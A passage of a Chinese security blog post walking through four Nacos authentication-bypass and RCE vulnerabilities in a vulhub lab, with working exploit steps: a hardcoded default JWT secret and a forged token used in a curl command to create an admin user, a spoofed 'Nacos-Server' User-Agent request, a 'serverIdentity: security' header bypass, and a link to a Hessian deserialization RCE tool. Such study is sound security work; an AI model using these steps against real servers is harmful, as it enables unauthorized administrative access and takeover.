nacos相关漏洞学习
2024-1-9 12:1:11 Author: 白帽子左一(查看原文) 阅读量:10 收藏

扫码领资料

获网安教程

JWT_Secret_Key硬编码导致的认证绕过漏洞(QVD-2023-6271)
不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)
identity key value 硬编码权限绕过
Hessian 反序列化 RCE

环境搭建

为了方便直接用vulhub
版本:NACOS v1.4.0

cd vulhub-master\nacos\CVE-2021-29441 
docker compose up -d
docker compose restart nacos

某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务 访问http://127.0.0.1:8848/nacos/#/login

默认账号密码都是nacos

JWT_Secret_Key硬编码身份验证绕过

尽管设置了 NACOS_AUTH_ENABLE=true 和自定义的 NACOS_AUTH_TOKEN,自定义的 token 并未生效,用户仍需使用默认的 secret.key 来生成可访问 API 接口的 access_token。预期是使用自定义的 NACOS_AUTH_TOKEN 来生成并使用 access_token,但实际上仍需要依赖默认的 secret.key

在application.properties中可以看到
secret.key的值默认为SecretKey012345678901234567890123456789012345678901234567890123456789

在得到key的值后我们可以任意伪造jwt

curl -XPOST 'http://ip:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=123456'
访问接口 创建一个admin用户 密码123456

不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)

版本: <=Nacos 1.4.1 配置为使用身份验证(-Dnacos.core.auth.enabled=true)
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证 可调用敏感接口

list用户接口
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
获取当前用户列表以及密码
直接访问会403

将user-agent头修改为Nacos-Server即可绕过

添加用户接口:
POST
/nacos/v1/auth/users?username=admin&password=123456
User-Agent: Nacos-Server
pageNo=1&pageSize=9

创建登录成功

identity key value 硬编码权限绕过

影响版本:Nacos <= 2.2.0 nacos.core.auth.enabled=true
当请求头携带"serverIdentity:security"时 可绕过权限认证

https://github.com/alibaba/nacos/blob/d40190ee24af94fa87414b88239c47693c524333/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L65

检查authConfigs对象中是否设置了serverIdentityKeyserverIdentityValue 如果这两个配置项都非空,代码会从HTTP请求的头部获取服务器身份信息 再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验

利用:
添加用户接口
curl -XPOST 'http://ip:8848/nacos/v1/auth/users?username=admin2&password=123456' -H "serverIdentity: security"

Hessian 反序列化 RCE

1.4.0 <= Nacos < 1.4.6 2.0.0 <= Nacos < 2.2.3
Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化

https://github.com/c0olw/NacosRce
直接用大佬的工具一把嗦

来源: https://xz.aliyun.com/t/13193

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247604777&idx=1&sn=843b03cd9c9c5b88a727b4d7751fcfbc&chksm=ea5ce5ff5cb5569591aafd1a41590ccaeaa3eb3d9aaaad91ea90a0e6fb56a5427aa65c58a704&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh